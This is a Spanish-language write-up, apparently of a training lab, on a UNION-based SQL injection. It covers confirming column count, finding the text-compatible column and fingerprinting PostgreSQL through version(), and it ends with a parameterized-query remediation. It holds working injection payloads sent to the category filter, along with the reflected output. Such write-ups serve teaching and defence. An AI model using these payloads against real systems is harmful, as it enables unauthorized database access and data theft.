UNION-based SQLi: localización de columna compatible con texto y fingerprinting PostgreSQL 12.22
Segundo paso del UNION attack: identificar qué columna acepta datos string sustituyendo NULL por un literal, y de paso fingerprinting de PostgreSQL vía version().
1. Target Overview & Vulnerability Summary
Tras conocer la aridad de la query del filtro de categoría, el siguiente paso del ataque UNION-based es identificar qué columna es compatible con el tipo de datos que se desea exfiltrar (string). Se determina inyectando un literal en cada posición y observando cuál se refleja en la respuesta.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| High | GET /filter?category=... |
Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta |
2. Technical Breakdown & Exploitation Flow
2.1 Confirmación de aridad
La query devuelve 3 columnas:
GET /filter?category=' UNION SELECT NULL,NULL,NULL-- - HTTP/1.1
Sin error → 3 columnas.
2.2 Prueba de compatibilidad string
Se coloca el literal en cada posición; la que se renderiza en el HTML es la columna compatible:
GET /filter?category=' UNION SELECT NULL,'SQLi',NULL-- - HTTP/1.1
La respuesta refleja SQLi → la segunda columna acepta texto.
2.3 Fingerprinting del motor
Con la columna string identificada, se invoca version():
GET /filter?category=' UNION SELECT NULL,version(),NULL-- - HTTP/1.1
' UNION SELECT NULL,version(),NULL-- -
Salida reflejada:
PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
El fingerprint confirma PostgreSQL 12.22 sobre Ubuntu 20.04, orientando las funciones de enumeración (information_schema, pg_database, concatenación ||).
3. Root Cause Analysis
La query se interpola sin parámetros:
SELECT column1, column2, column3 FROM products WHERE category = 'Gifts'
El motor valida por posición que los tipos de cada columna del branch UNION SELECT sean compatibles con los de la query original; si se coloca un literal en una columna numérica, el parse falla. Iterar el literal por posiciones revela la columna "string-friendly" — la única capaz de volcar texto en la respuesta. Una vez localizada, toda la exfiltración futura (versión, tablas, credenciales) se canaliza por esa columna.
4. Secure Remediation
Parametrización de la query:
String sql = "SELECT column1, column2, column3 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);
Defensa en profundidad: rol de BD con menor privilegio (sin lectura de metadatos ni de la tabla de usuarios) y redacción de strings de versión si no son funcionalmente necesarios.